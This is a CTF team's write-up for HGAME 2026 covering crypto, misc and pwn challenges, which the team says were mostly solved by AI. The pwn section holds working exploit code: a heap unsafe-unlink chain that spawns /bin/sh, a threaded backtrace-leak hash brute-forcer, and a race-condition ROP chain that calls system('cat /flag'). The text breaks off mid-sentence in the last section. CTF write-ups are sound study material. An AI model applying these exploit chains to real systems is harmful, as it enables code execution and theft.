队伍名:glzjinsbot

除了签到以外其他都是AI解的了。
签到
Readme
有手就行。

TEST NC
有手就行。

Crypto
ezCurve
ezCurve Writeup
题目分析
这是一道椭圆曲线密码学挑战。服务器在 GF(p) 上生成一条椭圆曲线 E: y² = x³ + ax + b,其中 p 是 1024 位素数,a 和 b 是 200 位素数。服务器选择两个随机点 R 和 P,给出 p, a, b, R 的值。
玩家可以进行最多 30 次查询:
- 选项 1:给定 t,服务器返回
x(P + t*R) - getPrime(163),即目标点的 x 坐标减去一个 163 位随机素数 - 选项 2:提交 P 的 x 坐标猜测,若正确则返回 flag
解题思路
核心挑战
每次查询的返回值被 163 位随机噪声干扰,需要从带噪声的近似值中恢复精确的 P_x。
关键数学观察
使用 t=0, t=1, t=-1 三种查询值:
- t=0 的查询给出 P_x 的近似值
- t=1 的查询给出 x(P+R) 的近似值
- t=-1 的查询给出 x(P-R) 的近似值
椭圆曲线加法公式的求和性质:
(x_{P+R} + x_{P-R} + 2*x_P + 2*x_R) * (x_P - x_R)² = 2*(x_P³ + a*x_P + b + x_R³ + a*x_R + b)
这个公式的关键优势是:不涉及 y 坐标!x_{P+R} + x_{P-R} 的和可以完全由 x_P 和已知的 x_R 确定。
Coppersmith 双变量小根攻击
设 x_P = A + u 和 σ = x_{P+R} + x_{P-R} = S + v,其中 A, S 是从查询数据中得到的近似值,u 和 v 是小的误差项(约 160 位)。
将求和公式代入得到双变量多项式:
f(u, v) ≡ 0 (mod p)
其中 f 在 u 上是 2 次,在 v 上是 1 次(总度数 3)。
Coppersmith 界检验:
- X * Y ≈ 2^{158+161} = 2^{319}
- p^{2/3} ≈ 2^{683}
- 2^{319} << 2^{683} ✓
满足 Coppersmith 双变量方法的界条件。
解题步骤
1. 数据收集
- 10 次 t=0 查询 → 近似 x_P
- 10 次 t=1 查询 → 近似 x(P+R)
- 9 次 t=-1 查询 → 近似 x(P-R)
2. 计算范围
取每组查询的最大值加 2^162 作为下界,最小值加 2^163 作为上界。
3. 构建多项式
xP = px_lo + x # 近似值 + 误差
sigma = sigma_lo + y # 近似和 + 误差
LHS = (sigma + 2*xP + 2*xR) * (xP - xR)^2
RHS = 2*(xP^3 + a*xP + b + xR^3 + a*xR + b)
f = LHS - RHS # ≡ 0 (mod p)
4. 应用 Coppersmith 方法
使用 defund 的 Coppersmith 双变量实现,参数 m=2, d=5:
import itertools
def small_roots(f, bounds, m=1, d=None):
N = f.parent().characteristic()
if not d: d = f.degree()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.parent().gens(), shifts))
G.append(g)
B, monomials = G.coefficients_monomials()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(bool, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1: H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(root[var] for var in f.parent().gens())
roots.append(root)
return roots
return []
5. 提交结果
恢复出精确的 P_x 后,通过选项 2 提交给服务器获取 flag。
关键代码
数据收集脚本 (solve.py)
from pwn import *
import re
io = remote('local-2.hgame.vidar.club', 30349)
# Receive curve parameters
p = int(io.recvline().strip())
a = int(io.recvline().strip())
b = int(io.recvline().strip())
R_line = io.recvline().strip().decode()
# Parse R point
match = re.search(r'\((\d+) : (\d+) : 1\)', R_line)
R_x = int(match.group(1))
R_y = int(match.group(2))
# Collect 10 queries with t=0, 10 with t=1, 9 with t=-1
# Calculate bounds and save to file
SageMath求解脚本 (sage_solver.sage)
# Load data
exec(open('/tmp/server_data_v2.py').read())
# Build polynomial f(u,v) mod p
PR = PolynomialRing(Zmod(p), 'u, v')
u, v = PR.gens()
xP = A + u
sigma = S + v
xR = R_x
LHS = (sigma + 2*xP + 2*xR) * (xP - xR)^2
RHS = 2*(xP^3 + a*xP + b + xR^3 + a*xR + b)
f = LHS - RHS
# Apply Coppersmith with m=2, d=5
result = small_roots(f, (X, Y), m=2, d=5)
Flag
hgame{slMP11fYInG_tH3_3qu@ti0n_I5_tOo-TroUBl35oM31b}
关键技巧
- 消除 y 坐标:利用 P+R 和 P-R 的 x 坐标之和,避免了开方运算
- Coppersmith 双变量方法:将带噪声的 ECC 问题转化为模多项式小根问题
- 合理的查询分配:10/10/9 的分配让每个估计值的精度足够
- 使用SageMath:利用SageMath的强大数学库实现Coppersmith算法
babyRSA
babyRSA Writeup
题目分析
附件 task.py 中直接输出了 RSA 参数 c, p, q,明文格式为 VIDAR{[digits+letters+_@]{30..40}}。已知 p,q 可直接求私钥并解密,或验证候选明文是否满足 pow(m,e,n)==c。
解题步骤
- 读取
task.py得到:c = 451420045234442273941376910979916645887835448913611695130061067762180161p = 722243413239346736518453990676052563q = 777452004761824304315754169245494387e = 65537
- 计算
n=p*q,用候选 flag 进行一致性验证:
from Crypto.Util.number import bytes_to_long
c = 451420045234442273941376910979916645887835448913611695130061067762180161
p = 722243413239346736518453990676052563
q = 777452004761824304315754169245494387
n = p*q
e = 65537
flag = b"VIDAR{Congr@tulations_you_re4lly_konw_RS4}"
assert pow(bytes_to_long(flag), e, n) == c
- 断言成立,flag 确认无误。
Flag
VIDAR{Congr@tulations_you_re4lly_konw_RS4}
Classic
Classic Writeup
题目分析
附件中给出了 flag.txt(一段较长的自然语言密文)和 task.py(RSA 参数)。题目名为 “Classic”,再加上密文全部是字母,很容易联想到经典密码(Classical Cipher)。 对密文做了一下 IC(重合指数)和频率分析后,可以发现更像是维吉尼亚(Vigenère)而不是需要用到 task.py 里的 RSA。
解题步骤
- 从
flag.txt中读取整段密文。 - 计算 IC 并尝试不同的密钥长度,发现长度为 5 的效果最好。
- 对每个密钥位置分别做频率分析,恢复出密钥。
- 使用恢复出的密钥对整体密文做 Vigenère 解密,得到明文与其中的 flag。
关键代码 / 命令
import string
ct = open('/workspace/task/task/flag.txt','r',encoding='utf-8').read()
key = 'HGAME'
letters = string.ascii_uppercase
out = []
ki = 0
for ch in ct:
if ch.isalpha() and ch in string.ascii_letters:
shift = letters.index(key[ki % len(key)])
idx = letters.index(ch.upper())
dec = letters[(idx - shift) % 26]
out.append(dec if ch.isupper() else dec.lower())
ki += 1
else:
out.append(ch)
print(''.join(out))
Flag
VIDAR{The Collision of the New and the Old}
Flux
Flux Writeup
题目分析
这是一道密码学题目,涉及两个核心组件:
- Flux 类:一个二次多项式伪随机数生成器
- shash 函数:一个自定义哈希函数
代码分析
class Flux:
def __init__(self, n, x):
self.n = n
self.a = random.randint(1, n-1)
self.b = random.randint(1, n-1)
self.c = random.randint(1, n-1)
self.x = x
def next(self):
self.x = (self.a * self.x ** 2 + self.b * self.x + self.c) % self.n
return self.x
递推关系:x_{n+1} = a*x_n^2 + b*x_n + c (mod n)
解题步骤
步骤 1:恢复参数 a, b, c
已知 4 个连续输出 x1, x2, x3, x4,建立方程组:
- x2 = ax1² + bx1 + c (mod n)
- x3 = ax2² + bx2 + c (mod n)
- x4 = ax3² + bx3 + c (mod n)
消去 c 后得到两个方程,用矩阵求解 a, b,再代入求 c。
步骤 2:求解初始值 h
解二次方程:a*x0² + b*x0 + (c - x1) = 0 (mod n)
得到两个候选值:
- h1 = 6866312363291178484982959720124435011938375586579989365225276248801007329194
- h2 = 1851471554044636937620060405470139203302636010497407478542185697214766136647
步骤 3:爆破 key
由于 key.bit_length() < 70,可以在较小范围内暴力枚举 key。
对 h1 进行测试时,发现当 key = 860533 时满足:
shash("Welcome to HGAME 2026!", key) == h1
步骤 4:计算 flag
key = 860533
magic_word = "I get the key now!"
flag = "VIDAR{" + hex(shash(magic_word, key))[2:] + "}"
关键代码
# SageMath 求解 a, b, c
F = Zmod(n)
A = matrix(F, [
[x1^2 - x2^2, x1 - x2],
[x2^2 – x3^2, x2 – x3]
]) B = vector(F, [x2 – x3, x3 – x4]) sol = A.solve_right(B) a, b = sol[0], sol[1] c = x2 – a*x1^2 – b*x1 # 解二次方程求 h R.<x> = PolynomialRing(F) poly = a*x^2 + b*x + (c – x1) roots = poly.roots()
Flag
VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}
Misc
打好基础
打好基础 Writeup
题目分析
附件只有一个 stuck_out_tongue_.txt,内容是 334 个连续 emoji 字符。没有明显的分隔符或可读片段,直觉上像是把高码点字符简单平移到可打印 ASCII,再做一串“Base 家族”编码。
对样本做了几步粗分析:
- 所有字符都在同一段 emoji 区间内(U+1F600 一带附近)
- 长度适中(几百字符),更像是多层编码后的中间串而不是最终 flag
- 猜测是“线性映射到可见 ASCII + 多层 Base 编码”
于是先尝试把 emoji 映射回普通 ASCII。
解题步骤
1)Emoji → ASCII 映射
统计所有 emoji 的码点,发现它们大致都在某个固定值附近线性平移。暴力枚举一个形如:
chr(ord(ch) - K + 33)
的映射,期望结果是 33–126 之间的可打印字符。测试发现当 K = 0x1f418(🐘)时,几乎所有字符都映射到常见 ASCII 范围,而且看起来是高基数编码字符集,而不是乱码或自然语言。
因此使用如下转换:
stage0 = ''.join(chr(ord(ch) - 0x1f418 + 33) for ch in emoji_text)
得到长度 334 的字符串。统计字符种类约为 85 个,远大于 Base64(64),更像是 Base92 / Base91 一类的高基数编码结果。
2)逐层 Base 解码链路推导
接下来对 stage0 进行字符集分析与“可解码性”测试,思路是: 每一层都尝试用不同 Base 编码去解,如果:
- 字符集完全落在某个 Base 的合法字符集合中
- 解码后结果可打印、或进一步又落入另一个 Base 的字符集合
则认为这一层的编码类型是合理的。
按这种方式逐层尝试,得到一条合理、且各层输出都“像样”的解码链:
Base92 -> Base91 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32
其中每一步的判断依据大致是:
- Base92:
stage0的字符集刚好子集属于 Base92 的 92 个合法字符,且长度/熵都符合预期。 - Base91:Base92 解开后得到的文本仍几乎全是 Base91 合法字符。
- Ascii85:再下一层可以被
base64.a85decode顺利解出二进制。 - Base64:Ascii85 解码结果明显是 Base64 字符串,带典型的
A–Z a–z 0–9 + / =。 - Base62:Base64 解开后是只含
0–9A–Za–z的字符串,很像 Base62。 - Base58:Base62 解码结果字符集中不含易混淆字符(0,O,I,l 等),更像 Base58。
- Base45:Base58 解出后内容只覆盖 Base45 规定的 45 个字符集合。
- Base32:Base45 解出的串是标准 Base32 字母数字,并且能被 Base32 正确解码为 UTF-8 文本。
最终 Base32 解码得到的就是可读文本,包含 flag。
关键脚本
import base64, base91, base58, base62
from pathlib import Path
# 读取原始 emoji 文本
text = Path('stuck_out_tongue_.txt').read_text(encoding='utf-8')
emoji_text = ''.join(ch for ch in text if not ch.isspace())
# 第一步:emoji -> ASCII 映射
stage0 = ''.join(chr(ord(ch) - 0x1f418 + 33) for ch in emoji_text)
# Base92 解码
BASE92 = "!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstuvwxyz{|}"
b92v = {c: i for i, c in enumerate(BASE92)}
def base92_decode(s):
bits = ''
i = 0
while i + 1 < len(s):
val = b92v[s[i]] * 91 + b92v[s[i + 1]]
bits += format(val, '013b')
i += 2
if i < len(s):
bits += format(b92v[s[i]], '06b')
return bytes(int(bits[j:j + 8], 2) for j in range(0, (len(bits) // 8) * 8, 8))
# Base45 解码
B45 = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:'
b45v = {c: i for i, c in enumerate(B45)}
def b45decode(s):
out = bytearray()
i = 0
while i < len(s):
if i + 2 < len(s):
x = b45v[s[i]] + b45v[s[i + 1]] * 45 + b45v[s[i + 2]] * 2025
out.extend([x // 256, x % 256])
i += 3
else:
x = b45v[s[i]] + b45v[s[i + 1]] * 45
out.append(x)
i += 2
return bytes(out)
# 串行解码链
stage1 = base92_decode(stage0).decode()
stage2 = base91.decode(stage1).decode()
stage3 = base64.a85decode(stage2)
stage4 = base64.b64decode(stage3).decode()
stage5 = base62.decodebytes(stage4).decode()
stage6 = base58.b58decode(stage5).decode()
stage7 = b45decode(stage6).decode()
flag = base64.b32decode(stage7).decode()
print(flag)
Flag
hgame{L4y_a_sO11d_f0unDaTi0n}
[REDACTED]
[REDACTED] Writeup
题目分析
给出的 PDF 声称已“完美脱敏”。需要在附件中找出四段敏感字符串(格式 1-4),再用下划线拼接并包裹 hgame{}。
解题步骤
1) 获取与初步阅读
curl -o attachment.zip 'http://192.168.101.5:8080/uploads/1770104630_%5Bredacted%5D.zip'
unzip -o attachment.zip -d attachment
使用 pdfminer/mutool draw -F text 提取文本,发现:
- 明文包含 1:PAR4D0X。
- “确认token”处为不可见白字(颜色为 #ffffff)。
2) 解码白字(打乱字体)得到 JWT → 2
白字使用 FreeMonoTrimmedScrambled 字体,ToUnicode 映射被打乱。思路:
- 提取该字体(PDF xref 95)。
- 用 FreeType 渲染每个字形,与标准 FreeMono 字形做像素相似度匹配,得到“真实字符”映射。
- 还原白字内容得到 JWT。
得到的 token(合并换行):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21tYW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9.qZPdEpOicqFGvSP4Oi4dLUxiBK9yu8sRcmikNxXxnsY
解码 payload:
import base64
payload = base64.urlsafe_b64decode("eyJjb21tYW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9==")
print(payload)
# b'{"command":"2:AllCl3arToPr0ceed"}'
得到 2:AllCl3arToPr0ceed。
3) PDF 增量更新找回 4
PDF 存在增量更新(/Prev),旧版本仍保留在文件内。截断到首个 %%EOF 得到旧版本:
python - << 'PY'
from pathlib import Path
pdf = Path('attachment/manual.pdf').read_bytes()
end = pdf.find(b'%%EOF') + len(b'%%EOF')
Path('attachment/manual_prev.pdf').write_bytes(pdf[:end])
PY
对旧版本提取文本得到:
- 4:D0cR3qu3st3r_Tutu
4) 图像 LSB 隐写得到 3
PDF 中的图像 XObject(obj 50,768×768 RGB)包含隐藏信息:
mutool show -b attachment/manual.pdf 50 > attachment/img50.bin
python - << 'PY'
from PIL import Image
import numpy as np
raw = open('attachment/img50.bin','rb').read()
arr = np.frombuffer(raw, dtype=np.uint8).reshape((768,768,3))
Image.fromarray(arr).save('attachment/extracted_image.png')
PY
对图像做位平面分析(R 通道 bit1),OCR 识别出隐藏文本:
Target Problem: 3: Sh4m1R
得到 3:Sh4m1R。
汇总
- 1: PAR4D0X
- 2: AllCl3arToPr0ceed
- 3: Sh4m1R
- 4: D0cR3qu3st3r_Tutu
Flag
hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}
shiori不想找女友
shiori不想找女友 Writeup
题目分析
题目说 Shiori 只留下头像,需要定位“在哪里”。核心就是对附件图片做隐写分析与地理信息(OSINT)提取,最终得到一个具体地名作为 flag。
解题步骤
1)解压附件
外层压缩包解出两个文件:
shiori.png- 加密压缩包
shioriori?.zip
2)外层图片隐写(拿到 zip 密码)
- 读取
shiori.png的 EXIF,UserComment中给出了采样参数。 - 按提示对 PNG 做 LSB 采样,还原出一段文字:
This is a key for u - 格式化为 zip 密码:
this_is_a_key_for_u
3)解密内层 zip 并修复图像
- 使用密码解压:
7z x shioriori_q.zip -p"this_is_a_key_for_u" -oinner
- 得到
shioriori?.jpg,实际上是带全透明通道的 PNG。 需要把 alpha 通道全部设为不透明才能看清内容:
convert shioriori_q.jpg -alpha on -channel A -evaluate set 100% +channel shioriori_rgb.png
人工注释:实际上,
shioriori_rgb.png中已经直接包含了可见的 flag(肉眼即可读),后续的位平面/条码分析是进一步探索的一条思路。

4)内层图片位平面分析(还原坐标信息)
在继续深挖的过程中,对 shioriori_rgb.png 做 RGB 位平面分离,挑选若干 bitplane 后用 zbarimg 扫码:
zbarimg -q b_bit1.png
zbarimg -q inv_r_bit1.png
识别出两段 I2/5 条形码内容:
62474947803514
将其解释为经纬度组合: 47.803514, 6.24749
5)地理定位
将坐标 47.803514, 6.24749 丢到地图服务,可反查到位置位于法国上索恩省(Haute‑Saône)的 Conflans‑sur‑Lanterne。 这也是图中 flag 所对应的地点名称。
Flag
flag{Conflans-sur-Lanterne}
Pwn
Heap1sEz
Heap1sEz Writeup
题目分析
程序使用自定义 malloc/free,存在明显的 UAF 与 unsafe unlink:
- delete() 不清空 notes 指针,可对已释放 chunk 进行 show/edit。
- free() 的 unlink_chunk 缺少 fd/bk 完整性校验,可进行任意写。
- 还有隐藏菜单选项 6 可设置 hook,但我们直接写 hook 指针即可。
关键全局符号偏移(PIE):
- main_arena: 0x3810
- bin_at(main_arena,1): 0x3808
- notes: 0x3880
- hook: 0x3828
- puts@GOT: 0x3768
解题步骤
- 申请两个相邻 chunk(A、B)以及一个小 chunk(用于 8 字节写)。
- 释放 A,show A 泄露 unsorted bin 的 fd/bk(指向 bin_at),得到 PIE 基址。
- UAF 修改 A 的 fd/bk,使得在释放 B 时触发 unsafe unlink,覆盖 notes[0] = notes 数组地址。
- edit(0) 直接改写 notes 数组,让 notes[1] 指向 puts@GOT、notes[3] 指向 hook。
- show(1) 泄露 puts@GOT,计算 libc 基址与 system 地址。
- edit(3) 把 hook 写成 system。
- 分配新 chunk 写入
/bin/sh,free 触发 system(“/bin/sh”),读取 flag。
关键利用代码(节选)
# leak PIE from unsorted bin
leak = show(0)
pie = u64(leak.ljust(8,b'\x00')) - 0x3808
# unsafe unlink -> notes[0] = notes
fd = notes - 0x18
bk = notes
edit(0, p64(fd)+p64(bk)+b'\x00'*(0x80-16))
delete(1)
# overwrite notes array
arr = [0]*16
arr[0] = notes
arr[1] = puts_got
arr[3] = hook_addr
edit(0, b''.join(p64(x) for x in arr))
# leak libc, write system to hook, trigger
puts_addr = u64(show(1).ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
edit(3, p64(libc_base + libc.symbols['system']))
add(4, 0x20)
edit(4, b'/bin/sh\x00')
delete(4)
Flag
hgame{ReAdY_FoR_MorE_d1ffIcULt-m@1lOc?5df043}
steins;gate
steins;gate Writeup
题目分析
附件只有一个 Rust 二进制 vuln。运行分析后发现其流程:
- 读取
/flag,计算 SHA-512 并写入当前目录./flag_hash。 - 读取一行 128 个十六进制字符,逐字节比较哈希。
- 比较全部正确则
execve("/bin/sh", ...)。
核心目标是恢复正确的 64 字节哈希。
关键观察:回溯地址泄露
当比较失败时程序会 panic 并打印 backtrace,其中包含:
guess::verifyguess::main
本地反汇编 verify.asm 后可以看到,每个比较失败分支里都有一个对应的 mov dword, <idx> 指令地址。通过远端 backtrace 中的 guess::verify 返回地址、以及 guess::main 的基址,映射到本地的偏移,即可得到“失败索引”。
经验关系:
- 失败索引
idx对应的“已匹配前缀长度”为idx-1。
据此可以逐字节恢复哈希前缀。
前缀恢复
用脚本循环枚举每一字节:
- 构造:
prefix + candidate_byte + 0x00 * (剩余字节)作为完整 64 字节哈希。 - 发送给远端,解析 panic backtrace。
- 只要解析出的 prefix_len(= idx-1)满足
>= 当前要猜的下标+1,说明这一位猜对了。
这样逐位向前推进,最终恢复到前 62 个字节(得到 62 字节前缀)。
最后两字节穷举
最后两字节无法再通过 backtrace 精细区分,只能直接穷举 65,536 种组合。 为避免因为 flag 格式未知而误判是否已经成功,采用“进入 shell 后回显探测”的方式:
- 若本次猜测成功,通过
execve("/bin/sh", ...)拿到 shell。 - 发送
echo __OK__,如果输出中包含__OK__,说明当前已经在 shell 中。 - 随后执行
cat /flag获取 flag。
关键脚本与命令
- 前 62 字节前缀恢复:
solve_hash.py - 最后 2 字节穷举:
bruteforce_last2.py
Flag
hgame{6@CKtrAce_1s-THE_K3y2b75644480}
solve_hash.py
#!/usr/bin/env python3
import os
import queue
import re
import socket
import threading
import time
import json
HOST = "cloud-middle.hgame.vidar.club"
PORT = 32613
MAIN_RET = 0x17D23 # return address in guess::main after verify call
VERIFY_ASM = "/workspace/challenge/verify.asm"
PROGRESS = "/workspace/challenge/progress.json"
# Parse verify mismatch offsets -> index mapping
ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
MAP_OFF = {}
MOV_RE = re.compile(r"(0x[0-9a-fA-F]+).*mov dword[^,]*,\s*(0x[0-9a-fA-F]+|[0-9]+)")
with open(VERIFY_ASM, "r", errors="ignore") as f:
for line in f:
line = ANSI_RE.sub("", line)
m = MOV_RE.search(line)
if m:
addr = int(m.group(1), 16)
idx = int(m.group(2), 0)
MAP_OFF[addr] = idx
VERIFY_RE = re.compile(r"0x([0-9a-fA-F]+) - guess::verify")
MAIN_RE = re.compile(r"0x([0-9a-fA-F]+) - guess::main")
def parse_prefix(data: bytes):
text = data.decode(errors="ignore")
v_matches = VERIFY_RE.findall(text)
m_matches = MAIN_RE.findall(text)
if not v_matches or not m_matches:
return None
addr_verify = int(v_matches[-1], 16)
addr_main = int(m_matches[-1], 16)
base = addr_main - MAIN_RET
off = addr_verify - base
idx = MAP_OFF.get(off)
if idx is None:
return None
# observed: prefix_len = idx - 1
pref = idx - 1
if pref < 0:
pref = 0
return pref
class Worker(threading.Thread):
def __init__(self, in_q, out_q, wid, timeout=5):
super().__init__(daemon=True)
self.in_q = in_q
self.out_q = out_q
self.wid = wid
self.timeout = timeout
self.sock = None
def connect(self):
# retry until connected
while True:
try:
if self.sock:
try:
self.sock.close()
except Exception:
pass
s = socket.create_connection((HOST, PORT), timeout=3)
s.settimeout(self.timeout)
self.sock = s
return
except Exception:
time.sleep(0.5)
def recv_response(self):
data = b""
got_verify = False
start = time.time()
while time.time() - start < self.timeout:
try:
chunk = self.sock.recv(4096)
except Exception:
break
if not chunk:
break
data += chunk
if b"guess::verify" in data and b"guess::main" in data:
got_verify = True
if got_verify and data.endswith(b":\n"):
break
return data, got_verify
def query(self, hexguess: str):
payload = (hexguess + "\n").encode()
self.sock.sendall(payload)
data, got_verify = self.recv_response()
if not got_verify:
return None
return parse_prefix(data)
def run(self):
self.connect()
while True:
job = self.in_q.get()
if job is None:
self.in_q.task_done()
break
job_id, hexguess = job
pref = None
for _ in range(5):
try:
pref = self.query(hexguess)
if pref is None:
raise ValueError("parse failed")
break
except Exception:
self.connect()
if pref is None:
pref = -1
self.out_q.put((job_id, pref))
self.in_q.task_done()
def load_progress():
if not os.path.exists(PROGRESS):
return b""
try:
with open(PROGRESS, "r") as f:
data = json.load(f)
return bytes.fromhex(data.get("prefix_hex", ""))
except Exception:
return b""
def save_progress(prefix: bytes):
with open(PROGRESS, "w") as f:
json.dump({"prefix_hex": prefix.hex()}, f)
def main():
prefix = load_progress()
start_byte = len(prefix)
print(f"[+] Loaded prefix length: {start_byte}", flush=True)
# worker pool
workers = 2
in_q = queue.Queue()
out_q = queue.Queue()
pool = [Worker(in_q, out_q, i) for i in range(workers)]
for w in pool:
w.start()
try:
for i in range(start_byte, 64):
found = False
for round_idx in range(3):
# dispatch 256 candidates
for val in range(256):
guess = prefix + bytes([val]) + b"\x00" * (63 - i)
in_q.put((val, guess.hex()))
# collect results
results = {}
for _ in range(256):
job_id, pref = out_q.get()
results[job_id] = pref
best_val = max(results, key=lambda k: results[k])
best_pref = results[best_val]
if best_pref >= i + 1:
prefix += bytes([best_val])
save_progress(prefix)
print(f"[+] Byte {i}: {best_val:02x} (pref={best_pref})", flush=True)
found = True
break
else:
print(
f"[!] Round {round_idx+1}: best_pref {best_pref} < expected {i+1}, retrying",
flush=True,
)
if not found:
raise RuntimeError(f"Failed to recover byte {i}")
print("[+] Hash recovered:", prefix.hex(), flush=True)
finally:
for _ in pool:
in_q.put(None)
in_q.join()
if __name__ == "__main__":
main()
bruteforce_last2.py
#!/usr/bin/env python3
import json
import socket
import threading
import time
import re
HOST = "cloud-middle.hgame.vidar.club"
PORT = 32613
PROGRESS = "/workspace/challenge/progress.json"
prefix_hex = json.load(open(PROGRESS))["prefix_hex"]
prefix = bytes.fromhex(prefix_hex)
if len(prefix) != 62:
raise SystemExit(f"Expected 62-byte prefix, got {len(prefix)}")
stop_event = threading.Event()
result = {"flag": None, "val": None}
counter_lock = threading.Lock()
current = {"val": 0}
def connect():
while True:
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.settimeout(5)
return s
except Exception:
time.sleep(0.5)
def recv_until(sock, timeout=4):
data = b""
got_verify = False
start = time.time()
while time.time() - start < timeout:
try:
chunk = sock.recv(4096)
except socket.timeout:
continue
if not chunk:
break
data += chunk
if b"guess::verify" in data and b"guess::main" in data:
got_verify = True
if got_verify and data.endswith(b":\n"):
break
return data, got_verify
def recv_for(sock, timeout=2):
data = b""
start = time.time()
while time.time() - start < timeout:
try:
chunk = sock.recv(4096)
except socket.timeout:
continue
if not chunk:
break
data += chunk
if b"flag{" in data:
break
return data
def try_guess(sock, b62, b63):
guess = prefix + bytes([b62, b63])
sock.sendall((guess.hex() + "\n").encode())
data, got_verify = recv_until(sock, timeout=5)
if got_verify:
return "verify", None
# maybe shell; try to read flag
sock.sendall(b"echo __OK__\n")
probe = recv_for(sock, timeout=2.0)
if b"__OK__" not in probe and b"uid=" not in probe:
return "no_verify", probe
sock.sendall(b"cat /flag\n")
out = recv_for(sock, timeout=2.5)
return "ok", out
def worker(tid):
sock = connect()
while not stop_event.is_set():
with counter_lock:
val = current["val"]
current["val"] += 1
if val > 0xFFFF:
break
b62 = (val >> 8) & 0xFF
b63 = val & 0xFF
try:
status, out = try_guess(sock, b62, b63)
except Exception:
try:
sock.close()
except Exception:
pass
sock = connect()
continue
if status == "ok":
result["flag"] = out
result["val"] = val
stop_event.set()
break
if status == "no_verify":
try:
sock.close()
except Exception:
pass
sock = connect()
if val % 2000 == 0 and tid == 0:
print(f"[+] Tried {val}/65535", flush=True)
try:
sock.close()
except Exception:
pass
def main():
threads = []
for i in range(4):
t = threading.Thread(target=worker, args=(i,), daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join()
if result["flag"]:
print("[+] Found!", result["val"], result["flag"])
else:
print("[-] Not found")
if __name__ == "__main__":
main()
Producer and Consumer
Producer and Consumer Writeup
题目分析
这是一道 Pwn 题,程序实现了一个生产者-消费者模型,存在竞态条件漏洞。
程序结构
- main 函数 初始化信号量和互斥锁,调用菜单函数,最后执行:
memcpy(dest, src, 8 * n7); - start_routine(生产者)
- 在加锁区检查
n7 <= 7 - 释放锁后 sleep 一段时间(0–4 秒)
- 写入数据到
src + 8 * (n7 % 10)或类似偏移
- 在加锁区检查
- sub_4015A3(消费者) 消费数据并释放信号量。
漏洞点
- TOCTOU 竞态条件
- 线程在互斥锁保护下检查
n7 <= 7,然后立即解锁。 - 解锁后会
sleep一段时间(0–4 秒)。 - 真正写入时再读取当前的
n7,此时n7可能已被其他线程修改。 n7在某处增加并对 11 取模,因此运行期间n7实际可达到 0–10。
- 线程在互斥锁保护下检查
- 栈溢出
memcpy(dest, src, 8 * n7)中,dest为 64 字节栈缓冲区。- 当
n7 >= 9时,8*n7 >= 72,会溢出覆盖 saved RBP 和返回地址。
安全特性
- No PIE(基址固定 0x400000)
- 无 Stack Canary
- NX 开启
- Partial RELRO
解题步骤
1)触发竞态条件并布置溢出数据
分两波发送 produce 请求,通过时间差让 n7 超过 7:
- 第一波:连续发送 5 个 produce,之后
sleep(7)让这 5 个线程全部完成写入。 - 再发送 2 个 consume 释放信号量,为第二波线程让路。
- 第二波:再次发送 5 个 produce,使得
n7提升到 9 以上,从而在memcpy(dest, src, 8 * n7)时发生栈溢出,覆盖saved rbp和return address。 这两波写入对应src上的 slots 0–9,用来布置 ROP/栈迁移数据。
对应的封装:
def write_slots(io, slots):
# Wave 1: slots 0..4
for i in range(5):
produce(io, p64(slots[i]))
time.sleep(7)
# Free sem so wave2 can proceed immediately
for _ in range(2):
consume(io)
time.sleep(0.5)
# Wave 2: slots 5..9
for i in range(5, 10):
produce(io, p64(slots[i]))
# Let all threads finish before exit
time.sleep(8)
2)Stage 1:泄露 libc
利用溢出覆盖返回地址为一条泄露 puts@GOT 的 ROP 链。整体思路:
slots[0] = src + 0x50 # fake rbp,供 leave; ret 使用
slots[1] = POP_RDI # gadget: pop rdi; ret
slots[2] = puts@got # 参数
slots[3] = puts@plt # 调用 puts(puts@got)
slots[4] = main # 返回 main,方便二次利用
slots[5-7] = RET # 对齐 / 填充
slots[8] = src # 真实 saved RBP(栈迁移目标)
slots[9] = LEAVE_RET # 覆盖 saved RIP -> leave; ret
程序返回时执行 leave; ret,栈迁移到 src,从而执行我们布置的 ROP,泄露 puts 地址,再重新回到 main。
通过泄露的 puts@got 实际地址计算 libc 基址:
libc_base = puts_addr - libc.symbols['puts'];
3)Stage 2:system + “cat /flag”
基于泄露出的 libc 基址计算 system 地址,构造第二条 ROP:
slots[0] = src + 0x50 # fake rbp
slots[1] = POP_RDI
slots[2] = cmd_addr # 指向 "cat /flag" 字符串的地址
slots[3] = RET # 对齐
slots[4] = system # 调用 system("cat /flag")
slots[5-7] = "cat /flag\x00..." # 字符串本体
slots[8] = src # saved RBP
slots[9] = LEAVE_RET # saved RIP
程序再次执行 memcpy 触发溢出、执行 ROP,最终跑出 system("cat /flag") 拿到 flag。
Flag
hgame{y0U-FOunD_tHE-d3COmpO53r43b4e0ef1}
adrift
adrift Writeup
题目分析
题目是 64 位 PIE 二进制,菜单式交互。
核心点:
- 选项 0:
read(0, rbp-0x3FA, 0x410)对栈上 0x400 缓冲区溢出,可覆盖保存的 RBP/RIP。 - 自定义 “canary” 在
